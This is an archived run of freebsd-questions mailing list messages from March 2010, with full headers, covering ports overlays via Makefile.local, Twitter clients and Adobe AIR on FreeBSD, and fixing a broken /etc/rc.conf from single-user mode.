10.2.0 X-Living-The-Dream: I love the SLO Life! User-Agent: Mutt/1.5.20 (2009-06-14) Cc: FreeBSD Questions Subject: Re: Ports overlay X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 03:27:52 -0000 On Mon, Mar 08, 2010 at 02:01:22PM -0600, CyberLeo Kitsana thus spake: >On 03/07/2010 03:47 AM, Matthew Seaman wrote: >> On 07/03/2010 08:45:41, CyberLeo Kitsana wrote: >> >>> By necessity and convenience, I have developed a series of additions and >>> changes to the ports tree. These changes are probably not worthy of >>> inclusion into the official tree, so I'm looking to maintain an overlay, >>> of sorts, in the spirit of Gentoo's overlay capability. >> >>> Is there an official method of hooking changes into a ports tree, while >>> maintaining the ability to csup or portsnap the unmodified version? How >>> do others tackle this particular problem? >> >> Yes, you can add your own local ports or even whole categories of local >> ports without too much difficulty. You can even add some tweaks to an >> existing port -- you don't have complete freedom to do anything there, >> but you can do quite a lot. >> >> If you create a Makefile.local at any level in the ports tree it will be >> included alongside the usual Makefile. This means you can override a >> lot of the available settings at will. >> >> So, if you create /usr/ports/Makefile.local >> >> with the contents: >> >> SUBDIR+=myports It works with "local," but you still need the VALID_CATEGORIES bit. >> >> then you can create a directory /usr/ports/myports and put your own >> ports inside it -- you'll need a /usr/ports/myports/Makefile just like >> the other category directories. > >This is an excellent idea, and one I ultimately ended up using. However, >I've found that the ports infrastructure really doesn't tolerate >creating arbitrary categories, so I had to put a VALID_CATEGORIES+= bit >at the top of each of my ports' makefiles to get it to work without >patching any tracked files. If you use local Mk files, you wouldn't have to worry about putting it in every port. > >> >> If you want to modify an existing port, probably the best approach is to >> create your own slave port -- see the docco on MASTERDIR in the Porter's >> Handbook and look at eg. games/freeciv-nox11 for about the simplest >> possible example. It's not fool proof -- some modifications will always >> need support in the master port's Makefile, but there's a lot you can do >> without that. > >Another good suggestion. I find annoyance in that devel/glib20 (among >others) requires all of Perl and Python at runtime just to service two >script files that appear to be used only for certain compilation >options. It tends to bloat the embedded images that I build. > >-- >Fuzzy love, >-CyberLeo >Technical Administrator >CyberLeo.Net Webhosting >http://www.CyberLeo.Net > > >Furry Peace! - http://wwww.fur.com/peace/ >_______________________________________________ >freebsd-questions@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-questions >To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > -j From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 03:28:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B9C57106566B for ; Tue, 9 Mar 2010 03:28:53 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-01.bluehost.com (outbound-mail-01.bluehost.com [69.89.21.11]) by mx1.freebsd.org (Postfix) with SMTP id 770978FC1C for ; Tue, 9 Mar 2010 03:28:46 +0000 (UTC) Received: (qmail 7212 invoked by uid 0); 9 Mar 2010 03:28:46 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy1.bluehost.com with SMTP; 9 Mar 2010 03:28:46 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:X-Enigmail-Version:Content-Type:X-Identified-User; b=PVWjKyt0YsTqWMShSmk7nriI5OvHJiBgA2rYxz90PT6RngLTzRDknbLRLDTz1KzLzwfOBN81LUUyXkckH7RMJK6tFoZowE4YExr/ZwW4gr/Fi4YHrIztyVCTKdjZpZG/; Received: from [206.74.86.236] (helo=[192.168.1.106]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1Noq7i-0006Vl-64 for freebsd-questions@freebsd.org; Mon, 08 Mar 2010 20:28:46 -0700 Message-ID: <4B95C05E.8040507@joseph-a-nagy-jr.us> Date: Mon, 08 Mar 2010 21:28:30 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: FreeBSD Questions X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig5B1A096C6EE994E04B73BD86" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: Twitter On FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 03:28:53 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig5B1A096C6EE994E04B73BD86 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Yes, I'm still having issues. qwit is a joke. I can post just fine but it will not retrieve my feeds for local display. Kind of makes it useless. Twitux won't connect. The others seem to be command line clients (the Pidgin Twitter plugin doesn't work, either) which I am not looking for. Does anyone have a good, GUI (preferably GTK based but that is flexible) client they use on a regular basis? I'd use Tweetdeck but AIR chokes because the libxml2 version it needs isn't found (though I do believe I have it installed, couldn't find AIR in ports so this is a Linux binary downloaded from Adobe's site (figured I'd give it a whirl), they do not provide Linux support): =2E/AdobeAIRInstaller.bin Error loading the runtime (libxml2.so.2: cannot open shared object file: No such file or directory) Please help. --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. Original content copyright under the OWL http://owl.apotheon.org Please do not CC me. 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Regards, -- Glen Barber From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 03:45:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 74B321065670 for ; Tue, 9 Mar 2010 03:45:09 +0000 (UTC) (envelope-from merlyn@stonehenge.com) Received: from blue.stonehenge.com (blue.stonehenge.com [209.223.236.162]) by mx1.freebsd.org (Postfix) with ESMTP id 5BB048FC16 for ; Tue, 9 Mar 2010 03:45:07 +0000 (UTC) Received: by blue.stonehenge.com (Postfix, from userid 1001) id C7C111DE326; Mon, 8 Mar 2010 19:44:36 -0800 (PST) To: freebsd-questions@freebsd.org From: merlyn@stonehenge.com (Randal L. Schwartz) x-mayan-date: Long count = 12.19.17.3.1; tzolkin = 12 Imix; haab = 19 Kayab Date: Mon, 08 Mar 2010 19:44:36 -0800 Message-ID: <868wa2kvkr.fsf@blue.stonehenge.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/21.4 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: nit on installation X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 03:45:09 -0000 SysInstall refers to "VTY1" and "VTY4". There's nothing I saw in the README that explained what that meant. I had to ask on the IRC just now. -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc. See http://methodsandmessages.vox.com/ for Smalltalk and Seaside discussion From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 03:47:48 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 06C9D106566B for ; Tue, 9 Mar 2010 03:47:48 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-313.bluehost.com (outbound-mail-313.bluehost.com [67.222.54.6]) by mx1.freebsd.org (Postfix) with SMTP id B50AE8FC13 for ; Tue, 9 Mar 2010 03:47:47 +0000 (UTC) Received: (qmail 18588 invoked by uid 0); 9 Mar 2010 03:47:47 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy3.bluehost.com with SMTP; 9 Mar 2010 03:47:47 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:References:In-Reply-To:X-Enigmail-Version:Content-Type:X-Identified-User; b=ROb6SI0aE71CTlWyqugtXD1FtOdk4uLjNwxl+mg7Z/bhoEi6U+MryPfb03W0YQ9Eia/oC7YrezmVvGPPsMuMSvFkGwxLPS5oGB7aSILNkR3uXQxeQmRpCmE9nU3+vdgh; Received: from [206.74.86.236] (helo=[192.168.1.106]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1NoqQ6-0005HR-7y for freebsd-questions@freebsd.org; Mon, 08 Mar 2010 20:47:47 -0700 Message-ID: <4B95C4D3.8010009@joseph-a-nagy-jr.us> Date: Mon, 08 Mar 2010 21:47:31 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: FreeBSD Questions References: <4B95C05E.8040507@joseph-a-nagy-jr.us> <20100309033154.GA12198@orion.hsd1.pa.comcast.net> In-Reply-To: <20100309033154.GA12198@orion.hsd1.pa.comcast.net> X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigC0EFC8ECF636DB010E7E0B12" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: Re: Twitter On FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 03:47:48 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigC0EFC8ECF636DB010E7E0B12 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On 03/08/10 21:31, Glen Barber wrote: > Hi, >=20 > Programmer In Training wrote:=20 > [snip] >=20 >> >> ./AdobeAIRInstaller.bin >> Error loading the runtime (libxml2.so.2: cannot open shared object fil= e: >> No such file or directory) >=20 > Have you tried the textproc/linux-libxml2 port? >=20 > Regards, >=20 To be honest I never even thought to look. I really should look for Linux ports (something I'm very much not used to). --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. Original content copyright under the OWL http://owl.apotheon.org Please do not CC me. If I'm posting to a list it is because I am subscrib= ed. --------------enigC0EFC8ECF636DB010E7E0B12 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAEBAgAGBQJLlcTgAAoJEENZQ8DH7rW09TYH/3h0NllayD7s497qcsEOBL+d qdEY825JhUa5yncBkLbzyzov28tVeh3eoKciCygrxgbmMbxUf3fO+9fUcDon4bn/ m3ybxG1diQ1zCryRMvsA7gNVykca4QJGrgY95zAAxS3lKwTfmlX7wNMeBT2unL+o KQcywDoUwFfbnKsW5IccVzKN3oQfGc97+NBYWsowuGUUc6IsGPthKc3qyRU/ClbM o6epPFKdgkStEUqmX9pUJiCsdMV1QDNPM2a7kal6qc2DmhoVLugnb4/fJRmL1pfy T9REJmO6MfP9RyDAHJ1XhAe+u+6E8IoJWOTEh52c/NcQdSO1j1cKC/2FsGvqm5M= =e5Ca -----END PGP SIGNATURE----- --------------enigC0EFC8ECF636DB010E7E0B12-- From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 04:21:24 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3428E106566C for ; Tue, 9 Mar 2010 04:21:24 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-313.bluehost.com (outbound-mail-313.bluehost.com [67.222.54.6]) by mx1.freebsd.org (Postfix) with SMTP id E208A8FC12 for ; Tue, 9 Mar 2010 04:21:23 +0000 (UTC) Received: (qmail 27047 invoked by uid 0); 9 Mar 2010 04:21:23 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy3.bluehost.com with SMTP; 9 Mar 2010 04:21:23 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:References:In-Reply-To:X-Enigmail-Version:Content-Type:X-Identified-User; b=q2SSHTaRNPe1ednAImyglXW4wrNYbsArX1SP9N98yIb6rMf1SiZ/HharlXTbkcgeSmr7RjATGrBE9wsFFR8bNOwXm5Rq90iuU4kfDvMey23aBo03bVLcke3Y4/eAGxGl; Received: from [206.74.86.236] (helo=[192.168.1.106]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1Noqwd-000740-5P for freebsd-questions@freebsd.org; Mon, 08 Mar 2010 21:21:23 -0700 Message-ID: <4B95CCAF.2020909@joseph-a-nagy-jr.us> Date: Mon, 08 Mar 2010 22:21:03 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: FreeBSD Questions References: <4B95C05E.8040507@joseph-a-nagy-jr.us> <20100309033154.GA12198@orion.hsd1.pa.comcast.net> <4B95C4D3.8010009@joseph-a-nagy-jr.us> In-Reply-To: <4B95C4D3.8010009@joseph-a-nagy-jr.us> X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig0B051EBF2C1A59F83A680B2B" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: Re: Twitter On FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 04:21:24 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig0B051EBF2C1A59F83A680B2B Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Now it's not detecting gnome-keyring (it's a requirement, and it is installed). Seriously, does anyone have a good Twitter client they use? I have very simple requirements (GUI, must be able to pull my feeds for local display, easy to compile (e.g. doesn't require anything from KDE)). If not, does anyone know anything about Pino? I've found it in one of my many searches of the web for something I can use that actually works. --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. Original content copyright under the OWL http://owl.apotheon.org Please do not CC me. If I'm posting to a list it is because I am subscrib= ed. --------------enig0B051EBF2C1A59F83A680B2B Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAEBAgAGBQJLlczAAAoJEENZQ8DH7rW0TdAH/3jiEmI08V3zSv1ZmQ541si0 rCTav9Xq8aK68v5M3kkB8BbTYznkVT6VtJFOzl6dYuaMYGhpDd+7GAnWldXlJ1k1 EhuzJC/+6Rv7RXXPcy7j/H87XKpvoDR2UTwon/ha/icQtbCLyZyaKCSbFc0e+2sM LkxXkN60boyjAG6UeRy9x46xfz5vNhJhl5KieY3dlyix6Qr+xD/DTfLq6efxDTEn 9s/W2hf/L8TBh/PYpfHW9ko8n+AlmgDh74g4EcFDscmEP9wOye6BH/GQ9mlK2Ljj 4Sj5kyz2OL5ypgo0lK6ttmYmGO/p3sWc90ls5i+xaNhucAebroJK//kGi+ACNzU= =035b -----END PGP SIGNATURE----- --------------enig0B051EBF2C1A59F83A680B2B-- From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 05:45:23 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D5696106566C for ; Tue, 9 Mar 2010 05:45:23 +0000 (UTC) (envelope-from oscar815@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id 938698FC19 for ; Tue, 9 Mar 2010 05:45:23 +0000 (UTC) Received: by gyg8 with SMTP id 8so1850883gyg.13 for ; Mon, 08 Mar 2010 21:45:22 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=0ZGNdBQEB27qYjEKuVDdLCf7QN38SoasgiU9pdrONb8=; b=jiw3wujowaWo6EbCa0QkGobZMTASZ4roAI37RtCcxdK2w9tVDGrCln5wH9sdWF7RsN DCPYL/Z9JGfuX96YevTCyWlxyG98P6kBkjyJ2y/XuUy5JIdWZF3swyGf8+cuhrzIkSMt xTQinE+PQCDEpBMPoxmLutoRlxd8DGCHH01L8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=UVqPW2WFXEHByGwGSZb2jl1EdXto0P852uGcJ/aM1ZwpST1DSi6XQEntO5sf0QAfwx Jxlfn0pqaf5/HhVHvIggJpbXaDIAToXTIGEh2iE4fbPRK74cLRZKI1s50kaREvtTHvHW HixXz94yLcg4aRjR4Sb2VYDj+QuwnMkWugS/k= MIME-Version: 1.0 Received: by 10.150.47.26 with SMTP id u26mr301893ybu.176.1268113522740; Mon, 08 Mar 2010 21:45:22 -0800 (PST) Date: Tue, 9 Mar 2010 14:45:22 +0900 Message-ID: <861961dd1003082145w4c19d4f0g1f59597d2d077ec7@mail.gmail.com> From: oscar Seo To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: How can I repair wrong /etc/rc.conf ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 05:45:23 -0000 I'm using FreeBSD 6.4 + windowmaker in IBM notebook. I edited /etc/rc.conf to use LAN other ip address is different from my home address in my school. I got error message from this [ /etc/rc.conf: 131: Syntax error: Unterminated quoted string Enter full pathname of shell or RETURN for /bin/sh: ] so that I returned, I decided to edit /etc/rc.conf using vi. But freebsd didn't find vi, less any other application. I can't modify even if read /etc/rc.conf. fortunately I can use cat so I found my fault sting from /etc/rc.conf but I can't modify any files cause the system changed into read only file system. How can I repair /etc/rc.conf file with fault statements using any editor? Thanks in advanced. Oscar From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 05:54:22 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 731D3106566B for ; Tue, 9 Mar 2010 05:54:22 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-pv0-f182.google.com (mail-pv0-f182.google.com [74.125.83.182]) by mx1.freebsd.org (Postfix) with ESMTP id 47B898FC17 for ; Tue, 9 Mar 2010 05:54:22 +0000 (UTC) Received: by pvg3 with SMTP id 3so2308351pvg.13 for ; Mon, 08 Mar 2010 21:54:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=F51yzxzbrpa/K3bSkxmaObdbEhct77q6FFdlSB8Mwyc=; b=PEBCXJDTVlXfPo8P9XsNwQKbiP4ZUnBYcwiruVpFPM7kpiZWiTY3xM199pkTz/TYzd A5yv5SiQcO3ymhftqVb5te847OuXPUkyP3bJAGFnnIx493XYUQsM05GdLXKB3OLe3DoD kcdBcSJS9CEggiHLR5q4wC0Cyb3aG5s5NYiC0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=JR+WBOq8mKzG6a2jP54/MWodsBfomKTdmgmNlswRE7KwhYr39ablkstcTSQqOH8+wc TpQ0YZGaakVNLv/d1UK7GLkHpCfc1xndhhmOpJctznUSSb+9TZqc19V/Jv8O1FJB6BFc nEZ89b8gtatr2Jv+ohrWW46DOV0PmSUzx6c4A= MIME-Version: 1.0 Received: by 10.142.247.38 with SMTP id u38mr4154484wfh.47.1268114061813; Mon, 08 Mar 2010 21:54:21 -0800 (PST) In-Reply-To: <861961dd1003082145w4c19d4f0g1f59597d2d077ec7@mail.gmail.com> References: <861961dd1003082145w4c19d4f0g1f59597d2d077ec7@mail.gmail.com> Date: Mon, 8 Mar 2010 23:54:21 -0600 Message-ID: <6201873e1003082154l6a5c910agc7e94344a4110a1b@mail.gmail.com> From: Adam Vande More To: oscar Seo Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: How can I repair wrong /etc/rc.conf ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 05:54:22 -0000 On Mon, Mar 8, 2010 at 11:45 PM, oscar Seo wrote: > I'm using FreeBSD 6.4 + windowmaker in IBM notebook. > I edited /etc/rc.conf to use LAN other ip address is different from my home > address in my school. > I got error message from this > [ > /etc/rc.conf: 131: Syntax error: Unterminated quoted string > Enter full pathname of shell or RETURN for /bin/sh: > ] > so that I returned, I decided to edit /etc/rc.conf using vi. > But freebsd didn't find vi, less any other application. > I can't modify even if read /etc/rc.conf. > fortunately I can use cat so I found my fault sting from /etc/rc.conf but I > can't modify any files cause the system changed into read only file system. > How can I repair /etc/rc.conf file with fault statements using any editor? > > Thanks in advanced. > Oscar > The are multiple ways to do this, easiest is to type in at the sh prompt: mount -a You would then have access to /usr, vi is in /usr/bin/vi -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 06:10:35 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D7CBD106566B for ; Tue, 9 Mar 2010 06:10:35 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail3.sea5.speakeasy.net (mail3.sea5.speakeasy.net [69.17.117.5]) by mx1.freebsd.org (Postfix) with ESMTP id AF82B8FC16 for ; Tue, 9 Mar 2010 06:10:35 +0000 (UTC) Received: (qmail 3417 invoked from network); 9 Mar 2010 06:10:35 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail3.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 9 Mar 2010 06:10:34 -0000 Received: from lowell-desk.lan (lowell-desk.lan [172.30.250.6]) by be-well.ilk.org (Postfix) with ESMTP id CF5F150885; Tue, 9 Mar 2010 01:10:28 -0500 (EST) Received: by lowell-desk.lan (Postfix, from userid 1147) id 44FB11CC4A; Tue, 9 Mar 2010 01:10:28 -0500 (EST) From: Lowell Gilbert To: oscar Seo References: <861961dd1003082145w4c19d4f0g1f59597d2d077ec7@mail.gmail.com> Date: Tue, 09 Mar 2010 01:10:28 -0500 In-Reply-To: <861961dd1003082145w4c19d4f0g1f59597d2d077ec7@mail.gmail.com> (oscar Seo's message of "Tue, 9 Mar 2010 14:45:22 +0900") Message-ID: <447hpm9ga3.fsf@lowell-desk.lan> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: How can I repair wrong /etc/rc.conf ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 06:10:35 -0000 oscar Seo writes: > I'm using FreeBSD 6.4 + windowmaker in IBM notebook. > I edited /etc/rc.conf to use LAN other ip address is different from my home > address in my school. > I got error message from this > [ > /etc/rc.conf: 131: Syntax error: Unterminated quoted string > Enter full pathname of shell or RETURN for /bin/sh: > ] > so that I returned, I decided to edit /etc/rc.conf using vi. > But freebsd didn't find vi, less any other application. > I can't modify even if read /etc/rc.conf. > fortunately I can use cat so I found my fault sting from /etc/rc.conf but I > can't modify any files cause the system changed into read only file system. > How can I repair /etc/rc.conf file with fault statements using any editor? > > Thanks in advanced. > Oscar There is an entry in the FreeBSD FAQ titled "I made a mistake in rc.conf, or another startup file, and now I cannot edit it because the file system is read-only. What should I do?" It's exactly what you need. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 07:14:52 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B04A7106564A for ; Tue, 9 Mar 2010 07:14:52 +0000 (UTC) (envelope-from sfourman@gmail.com) Received: from mail-px0-f195.google.com (mail-px0-f195.google.com [209.85.216.195]) by mx1.freebsd.org (Postfix) with ESMTP id 8597B8FC15 for ; Tue, 9 Mar 2010 07:14:50 +0000 (UTC) Received: by pxi33 with SMTP id 33so2624070pxi.14 for ; Mon, 08 Mar 2010 23:14:50 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=gG/k/5j3CT4kgdC9IBNgVNL+b3nxZC2mewZDDPtd8EA=; b=Jkkf9Xszkz2vIObBmwH4ayHVIvhaLFoBTC0/+qCVSyT17wCoSLO6fEaycIKbC4QMB5 MQsuAzDj9giPdzq6z2vIjMCmkHNIySy2DckwvBsTQUy7EcZzwFv98ZjLHoJuX/vERHxb 9B4zpfQnsf6jpx9NMWCopq/4hU4wnVqOAOpvE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=SeKzhtxRJcMePC+v3JMnGLMY/LkAW0W5LqLF0qfLgJZxLv3YwIazvnRzolKYyLL/Xe Ou7+vMVK2XIgDhim7zjpJ9b1vX/vh9NmU8aJxZju3f/Z1nLb/7rlufMIjeLBV2GG5orF qxiAwBi76INyZtArQpVkeyDl6uxnUyGiG5gQI= MIME-Version: 1.0 Received: by 10.142.210.16 with SMTP id i16mr4165357wfg.13.1268118890396; Mon, 08 Mar 2010 23:14:50 -0800 (PST) In-Reply-To: <4B95CCAF.2020909@joseph-a-nagy-jr.us> References: <4B95C05E.8040507@joseph-a-nagy-jr.us> <20100309033154.GA12198@orion.hsd1.pa.comcast.net> <4B95C4D3.8010009@joseph-a-nagy-jr.us> <4B95CCAF.2020909@joseph-a-nagy-jr.us> Date: Tue, 9 Mar 2010 01:14:50 -0600 Message-ID: <11167f521003082314h4c723216h3bec197278a5f1b@mail.gmail.com> From: "Sam Fourman Jr." To: Programmer In Training Content-Type: text/plain; charset=ISO-8859-1 Cc: FreeBSD Questions Subject: Re: Twitter On FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 07:14:52 -0000 On Mon, Mar 8, 2010 at 10:21 PM, Programmer In Training wrote: > Now it's not detecting gnome-keyring (it's a requirement, and it is > installed). > > Seriously, does anyone have a good Twitter client they use? I have very > simple requirements (GUI, must be able to pull my feeds for local > display, easy to compile (e.g. doesn't require anything from KDE)). > > If not, does anyone know anything about Pino? I've found it in one of my > many searches of the web for something I can use that actually works. > I wonder if this can be done in FreeBSD? http://www.technixupdate.com/install-tweetdeck-on-ubuntu-linux/ From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 08:00:39 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 84080106566C for ; Tue, 9 Mar 2010 08:00:39 +0000 (UTC) (envelope-from dinesh@alphaque.com) Received: from mail.qubeconnect.com (mail.qubeconnect.com [202.190.74.25]) by mx1.freebsd.org (Postfix) with SMTP id BC8B08FC0A for ; Tue, 9 Mar 2010 